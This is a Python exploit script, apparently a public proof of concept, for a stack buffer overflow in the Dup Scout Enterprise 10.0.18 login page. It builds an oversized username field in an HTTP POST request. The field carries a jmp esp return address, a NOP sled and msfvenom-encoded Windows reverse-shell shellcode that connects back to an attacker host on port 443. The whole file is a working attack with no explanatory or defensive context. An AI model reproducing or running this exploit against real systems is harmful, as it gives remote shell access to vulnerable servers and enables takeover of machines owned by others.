#!/usr/bin/env python
# $Id: exploit.py,v 1.0 2018/04/25 21:19:20 dhn Exp $

import socket
import argparse

class Exploit:
    def __init__(self, server, port, payload):
        self._payload = payload
        self._server = server
        self._port = port

    def __connect(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((self._server, self._port))
        return s


    def run(self):
        try:
            s = self.__connect()
            print("[+] Sending payload...")
            s.send(self._payload)
            #print(s.recv(1025))
            s.close()
        except socket.error:
            print("[!] Socket error...")
            return 1

def main(args):
    # msfvenom -p windows/shell_reverse_tcp LHOST=10.168.142.129 \
    #        LPORT=443 -f python -b '\x00\x0a\x0d\x25\x26\x2b\x3d' \
    #        -e x86/alpha_mixed EXITFUNC=thread
    buf =  ""
    buf += "\x89\xe6\xdb\xdb\xd9\x76\xf4\x58\x50\x59\x49\x49\x49"
    buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
    buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
    buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
    buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x39\x6c\x79\x78\x6e"
    buf += "\x62\x37\x70\x47\x70\x57\x70\x53\x50\x4c\x49\x6b\x55"
    buf += "\x44\x71\x6b\x70\x65\x34\x4c\x4b\x42\x70\x64\x70\x6e"
    buf += "\x6b\x73\x62\x56\x6c\x6e\x6b\x32\x72\x42\x34\x4c\x4b"
    buf += "\x30\x72\x51\x38\x74\x4f\x58\x37\x72\x6a\x61\x36\x74"
    buf += "\x71\x4b\x4f\x6c\x6c\x37\x4c\x70\x61\x73\x4c\x75\x52"
    buf += "\x34\x6c\x45\x70\x5a\x61\x58\x4f\x76\x6d\x65\x51\x69"
    buf += "\x57\x79\x72\x78\x72\x33\x62\x31\x47\x6c\x4b\x50\x52"
    buf += "\x54\x50\x6e\x6b\x30\x4a\x77\x4c\x4c\x4b\x62\x6c\x62"
    buf += "\x31\x62\x58\x6b\x53\x30\x48\x65\x51\x6e\x31\x30\x51"
    buf += "\x4c\x4b\x30\x59\x31\x30\x33\x31\x7a\x73\x4c\x4b\x71"
    buf += "\x59\x72\x38\x69\x73\x34\x7a\x47\x39\x4c\x4b\x45\x64"
    buf += "\x4c\x4b\x67\x71\x6a\x76\x65\x61\x6b\x4f\x6c\x6c\x5a"
    buf += "\x61\x38\x4f\x36\x6d\x35\x51\x49\x57\x37\x48\x79\x70"
    buf += "\x33\x45\x6c\x36\x33\x33\x53\x4d\x5a\x58\x67\x4b\x53"
    buf += "\x4d\x75\x74\x30\x75\x5a\x44\x61\x48\x6e\x6b\x50\x58"
    buf += "\x66\x44\x66\x61\x69\x43\x63\x56\x6e\x6b\x44\x4c\x62"
    buf += "\x6b\x6c\x4b\x63\x68\x55\x4c\x66\x61\x6e\x33\x6c\x4b"
    buf += "\x37\x74\x6e\x6b\x77\x71\x68\x50\x4c\x49\x31\x54\x44"
    buf += "\x64\x76\x44\x33\x6b\x61\x4b\x50\x61\x56\x39\x31\x4a"
    buf += "\x50\x51\x4b\x4f\x6d\x30\x33\x6f\x53\x6f\x61\x4a\x4c"
    buf += "\x4b\x42\x32\x48\x6b\x4e\x6d\x63\x6d\x65\x38\x46\x53"
    buf += "\x47\x42\x67\x70\x55\x50\x73\x58\x34\x37\x32\x53\x46"
    buf += "\x52\x61\x4f\x72\x74\x50\x68\x42\x6c\x34\x37\x74\x66"
    buf += "\x44\x47\x39\x6f\x69\x45\x4e\x58\x4c\x50\x47\x71\x35"
    buf += "\x50\x77\x70\x76\x49\x38\x44\x61\x44\x50\x50\x30\x68"
    buf += "\x75\x79\x4d\x50\x52\x4b\x45\x50\x6b\x4f\x5a\x75\x70"
    buf += "\x50\x56\x30\x36\x30\x52\x70\x47\x30\x52\x70\x77\x30"
    buf += "\x36\x30\x31\x78\x49\x7a\x56\x6f\x59\x4f\x6d\x30\x39"
    buf += "\x6f\x39\x45\x4a\x37\x63\x5a\x53\x35\x52\x48\x44\x4a"
    buf += "\x6f\x58\x4e\x6e\x4e\x61\x45\x38\x74\x42\x45\x50\x33"
    buf += "\x31\x4d\x6b\x4d\x59\x4a\x46\x73\x5a\x74\x50\x66\x36"
    buf += "\x30\x57\x63\x58\x5a\x39\x4c\x65\x73\x44\x45\x31\x79"
    buf += "\x6f\x4a\x75\x4e\x65\x49\x50\x34\x34\x66\x6c\x79\x6f"
    buf += "\x70\x4e\x66\x68\x43\x45\x38\x6c\x50\x68\x6c\x30\x6f"
    buf += "\x45\x4f\x52\x71\x46\x59\x6f\x68\x55\x43\x58\x50\x63"
    buf += "\x32\x4d\x61\x74\x65\x50\x4b\x39\x6d\x33\x70\x57\x53"
    buf += "\x67\x62\x77\x55\x61\x4b\x46\x53\x5a\x44\x52\x46\x39"
    buf += "\x53\x66\x69\x72\x39\x6d\x30\x66\x59\x57\x50\x44\x47"
    buf += "\x54\x57\x4c\x33\x31\x55\x51\x6c\x4d\x61\x54\x35\x74"
    buf += "\x64\x50\x7a\x66\x73\x30\x50\x44\x33\x64\x72\x70\x52"
    buf += "\x76\x63\x66\x43\x66\x47\x36\x66\x36\x32\x6e\x32\x76"
    buf += "\x43\x66\x62\x73\x76\x36\x50\x68\x62\x59\x38\x4c\x67"
    buf += "\x4f\x6f\x76\x59\x6f\x7a\x75\x4f\x79\x6d\x30\x50\x4e"
    buf += "\x71\x46\x61\x56\x59\x6f\x76\x50\x45\x38\x77\x78\x6b"
    buf += "\x37\x75\x4d\x75\x30\x6b\x4f\x6e\x35\x4f\x4b\x6b\x50"
    buf += "\x47\x6d\x37\x5a\x77\x7a\x75\x38\x6f\x56\x4a\x35\x4f"
    buf += "\x4d\x4d\x4d\x4b\x4f\x6e\x35\x45\x6c\x57\x76\x61\x6c"
    buf += "\x37\x7a\x6f\x70\x39\x6b\x6d\x30\x72\x55\x35\x55\x6d"
    buf += "\x6b\x52\x67\x45\x43\x62\x52\x62\x4f\x33\x5a\x63\x30"
    buf += "\x66\x33\x59\x6f\x79\x45\x41\x41"

    payload = "A" * 780
    payload += "\x83\x0c\x09\x10" # jmp esp (libspp.dll)
    payload += "\x90" * 100
    payload += buf + "\xcc" * (5200 - 780 - 100 - 4 - len(buf))

    request = "POST /login HTTP/1.1\r\n"
    request += "Host: 10.168.142.127\r\n"
    request += "Accept: */*\r\n"
    request += "Content-Type: application/x-www-form-urlencoded\r\n"
    request += "Content-Length: 5223\r\n\r\n"
    request += "username=" + payload + "&password=AAA"

    # fire and forget!
    exploit = Exploit(args.host, int(args.port), request)
    print("[+] Dup Scout Enterprise Login 10.0.18 exploit by dhn")
    print("[+] Exploiting %s:%s" % (args.host, args.port))
    if exploit.run():
        print("[!] Fail")
    else:
        print("[+] Done")


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('--host', required=True)
    parser.add_argument('--port', required=True)
    args = parser.parse_args()

    main(args)
